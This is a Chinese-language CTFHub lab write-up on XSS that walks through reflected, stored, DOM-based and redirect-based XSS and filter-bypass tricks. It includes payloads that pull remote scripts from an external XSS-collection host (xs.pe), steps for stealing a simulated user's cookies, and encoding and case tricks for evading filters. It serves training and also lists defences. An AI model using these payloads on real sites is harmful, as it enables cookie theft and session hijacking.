> 技术文档 > CTFHUB-Web-XSS_ctfhub xss

CTFHUB-Web-XSS_ctfhub xss


技能树-xss

一.反射型(Reflected XSS )

1.信息:

  • 原理
    恶意脚本作为请求的一部分发送到服务器,服务器未过滤直接将其嵌入响应中返回给用户浏览器执行。
    示例
    攻击者构造一个含恶意脚本的URL(如 http://example.com/search?q=alert(1)),诱骗用户点击。

  • 特点

    • 非持久化:恶意脚本不存储在服务器上,仅通过特定请求触发。

    • 依赖社交工程:需诱导用户主动点击恶意链接。

    • 常见场景:搜索框、错误页面、URL参数等即时响应的功能。

  • 攻击流程
    用户点击恶意链接 → 服务器返回含恶意脚本的页面 → 浏览器执行脚本。

2.操作:

     二通过标签来注入恶意脚本

解释:通过  标签进行 XSS(跨站脚本攻击,Cross-Site Scripting)漏洞渗透,主要是因为  是 HTML 中直接执行 JavaScript 代码的标签。攻击者利用这一特性,在目标网站中注入恶意脚本,从而在用户浏览页面时执行攻击代码。

代码:

alert(\'XSS\')

有弹窗,说明存在xss漏洞,并且通过网址可以发现,该请求是通过get来进行请求,因此直接把改后的网址输入到下方的输入框中,注意:在这里我们的构成的代码是需要使用在线平台生成的(XSS平台-XSS测试网站-仅用于安全免费测试)下方的输入框是模拟其他用户访问的该网址的。

然后通过在线平台,取的相应的flag

二.存储型(Stored XSS)

1.信息:

  • 原理
    恶意脚本被永久存储在服务器(如数据库、评论、留言板),当其他用户访问受影响页面时自动加载执行。
    示例
    攻击者在博客评论区提交 stealCookie(),所有访问该页面的用户都会触发脚本。

  • 特点

    • 持久化:恶意脚本长期存储在服务器上,影响所有访问者。

    • 无需用户交互:只要访问受感染页面即可触发。

    • 危害更大:易形成大规模攻击(如蠕虫传播)。

    • 常见场景:用户生成内容(UGC)区域,如论坛、社交平台、商品评价。

  • 攻击流程
    攻击者提交恶意内容到服务器 → 内容存储 → 其他用户访问页面 → 浏览器自动执行脚本。

2.操作:

(一样是两个框,输入alert(1),有弹窗,存在漏洞,但是网址没有改变,通过burpsuite抓包,在通过在线utf-8编译器发现是post请求)

一样的通过在线的xss-platform的渗透语句粘贴到下方的robot输入框进行渗透,并在在线平台查看cookie就能得到flag了。

三.存储型和反射型的区别

1.信息:

对比项 反射型 XSS 存储型 XSS 存储位置 不存储,仅通过URL传递 永久存储在服务器(如数据库) 触发方式 需用户点击恶意链接 自动触发(访问受感染页面) 持久性 一次性(非持久) 长期存在(持久化) 传播难度 依赖诱导用户点击 自动影响所有访问者 危害范围 通常针对个体用户 可大规模传播(如蠕虫) 防御重点 输入/输出过滤、URL编码 严格的输入验证、输出编码

四.DOM反射(DOM-based XSS

1.信息:

  • 攻击者构造一个恶意 URL,其中包含可被 JavaScript 解析的恶意代码(如 # 后的 hash 参数或 ? 后的查询参数)。

  • 前端 JavaScript 代码(如 document.writeinnerHTMLeval 等)直接使用未过滤的 URL 参数,导致恶意脚本被执行。

  • 服务器不参与恶意代码的返回,因此传统的输入过滤(如 WAF)可能无法防御。

2.操作

输入alert(2131)没有弹窗但是有页面发生改变,通过开发者模式查看源码

发现网址本身就嵌套了标签了,因此我们先把前面的语句结束掉,在进行渗透,利用xss-platform生成的名令进行修改:

然后将url发给robot进行点击在通过xss-platform查看robot的cookie。

五.DOM跳转

1.信息:

DOM跳转型XSS(DOM-based Redirection XSS)是一种特殊的XSS攻击方式,攻击者通过操纵DOM(文档对象模型)使页面跳转到恶意URL,通常结合:

  • DOM-based XSS(不依赖服务端,纯前端漏洞)

  • 开放重定向漏洞(Unvalidated Redirects)

DOM跳转:DOM 跳转是一种基于前端 JavaScript 实现的页面跳转技术,它通过修改浏览器地址或加载新页面来实现导航功能。这种技术本身是合法的,但如果实现不当,可能成为严重的安全漏洞。

 2.操作:

我们这边没有输入框进行输入,试着通过网址试着进行查看是否通过get进行请求,再通过查看源码发现是通过=进行分割语句,识别到?后会执行跳转url,试着通过下方代码查看是否存在xss漏洞

/?jumpto=javascript:alert(1)

存在弹窗,就直接通过url下手

/?jumpto=javacript:$.getscript(\"xss-platform提供的地址\")
  • javascript: 是浏览器伪协议,用于执行代码。
  • 代码 $.getScript(\"//xs.pe/vC3.jpg\") 会加载并执行远程脚本。

我这题在解题的过程出现一个问题就是使用这个XSS平台-XSS测试网站-仅用于安全免费测试​​​​​​

生成的没反应,后面换成这个 XSS安全平台  就可以了

六.DOM反射和DOM跳转

1.定义与原理

Ⅰ.DOM 跳转
  • 指通过修改浏览器的当前 URL 或使用 JavaScript 方法(如window.location.hrefwindow.navigate())将用户导航到新的页面或同一页面的不同位置
  • 常见方式包括直接 URL 跳转、锚点跳转、JavaScript 动态跳转等
  • 本质是页面的导航行为,涉及浏览器历史记录和页面加载
Ⅱ.DOM 反射
  • 指通过 JavaScript 动态修改 DOM 树的内容、结构或属性
  • 常见方式包括document.write()innerHTMLappendChild()等方法
  • 本质是页面内容的动态更新,不涉及页面导航(除非主动触发跳转)
特性 DOM 跳转 DOM 反射 核心机制 修改浏览器 URL 或调用导航 API 直接操作 DOM 节点 代码示例 window.location.href = \"https://example.com\"; document.getElementById(\"target\").innerHTML = \"alert(\'XSS\');\"; 页面影响 加载新页面或导航到锚点位置 仅更新当前页面的部分内容 历史记录 会创建新的历史记录条目 不影响浏览器历史记录 常见场景 导航菜单、登录后跳转、错误页面重定向 动态加载内容、表单提交反馈、实时数据更新

2.安全漏洞对比

DOM 跳转漏洞

常见漏洞类型

  • 开放重定向(Open Redirect)
    • 攻击者通过构造恶意 URL 参数,诱使用户跳转到钓鱼网站
    • 示例:http://example.com/redirect?url=http://malicious.com
  • JavaScript 伪协议注入
    • 利用未过滤的 URL 参数执行 JavaScript 代码
    • 示例:http://example.com?jumpto=javascript:alert(document.cookie)

漏洞危害

  • 用户会话劫持(通过钓鱼页面窃取登录凭证)
  • 跨站脚本攻击(XSS)的间接利用
  • 社会工程攻击(诱导用户访问恶意站点)

防护措施

  • 白名单验证:只允许跳转到可信域名
  • 参数过滤:禁止协议前缀(如javascript:data:
  • 使用相对路径:优先使用站内相对路径而非绝对 URL
  • CSP 策略:设置Content-Security-Policy: frame-ancestors \'self\'防止被 iframe 嵌入
DOM 反射漏洞

常见漏洞类型

  • DOM-Based XSS
    • 通过操纵页面 DOM 结构注入恶意脚本
    • 示例:http://example.com/search?term=alert(\'XSS\');
  • HTML 注入
    • 注入恶意 HTML 标签(如
    • 示例:输入框内容被直接插入 DOM:\">

漏洞危害

  • 窃取用户 Cookie 和敏感信息
  • 执行任意 JavaScript 代码(如修改页面内容、劫持用户操作)
  • 绕过同源策略(如通过localStorage跨域攻击)

七.空格过滤

1.信息:

在 XSS 攻击中,空格常用于分隔 HTML 标签、属性或 JavaScript 代码中的关键字。过滤空格可破坏攻击者构造的恶意代码结构,例如:

  • 绕过标签过滤
    正常标签:
    空格变形:(利用空格拆分标签名,绕过简单的关键词匹配)。
  • 绕过属性过滤
    恶意属性:onerror=\"恶意代码\"
    空格变形:on error=\"恶意代码\"(通过空格拆分事件名,绕过过滤)。
1. 特殊空白字符

使用不可见的控制字符替代空格:

     
2. HTML 实体编码

使用 HTML 实体编码替代空格:

    
3. JavaScript Unicode 编码

结合 JavaScript 的 Unicode 转义:

   
4. 标签属性合并技巧

利用 HTML 解析器的特性,不使用任何分隔符:

   
5. 注释分隔法

使用 HTML 注释作为分隔符:

<sCRiPtsRC=//xs.pe/vC7>

2.进阶绕过技术

如果目标系统同时过滤了常见的空白字符,可以尝试以下更复杂的方法:

1. 标签嵌套绕过

利用浏览器对嵌套标签的解析特性:

<script src=//xs.pe/vC7></script>
2. 事件触发型 XSS

结合事件属性,无需传统标签:

3. 利用 HTML5 自定义属性
4. 基于 DOM 的 XSS

通过修改 URL 哈希值触发:

http://example.com/#alert(1)

3.解题:

这边利用html特性不使用分割符,直接用\"/\"代替

八.过滤关键词

一、关键词过滤绕过技术

当目标系统过滤了敏感关键词(如onerrorjavascript:)时,可以使用以下方法绕过:

1. 大小写混淆
alert(1)
2. HTML 实体编码
alert(1) <!--  的十六进制编码 -->alert(1) 
3. Unicode 编码
alert(1) alert(1) 
4. 标签嵌套
<script>alert(1)</script>
5. 利用 HTML5 自定义标签
Click me
6. 事件属性拆分
 
7. 协议混淆
 
8. 利用浏览器特性

二、进阶绕过技术

针对更严格的关键词过滤,可以结合多种编码和技术:

1. 双重编码
%3Cscript%3Ealert(1)%3C/script%3E <!-- URL编码后的 alert(1) -->
2. 利用 JavaScript 特性
[].forEach.call`alert(1)` eval(String.fromCharCode(97,108,101,114,116,40,49,41)) 
3. DOM 型 XSS 触发
http://example.com/#data:text/html,alert(1) 
4. CSS 表达式(针对旧版 IE)
body{background-image:expression(alert(1))}

三.解题

这边已经帮你进行大小写混写了,直接使用即可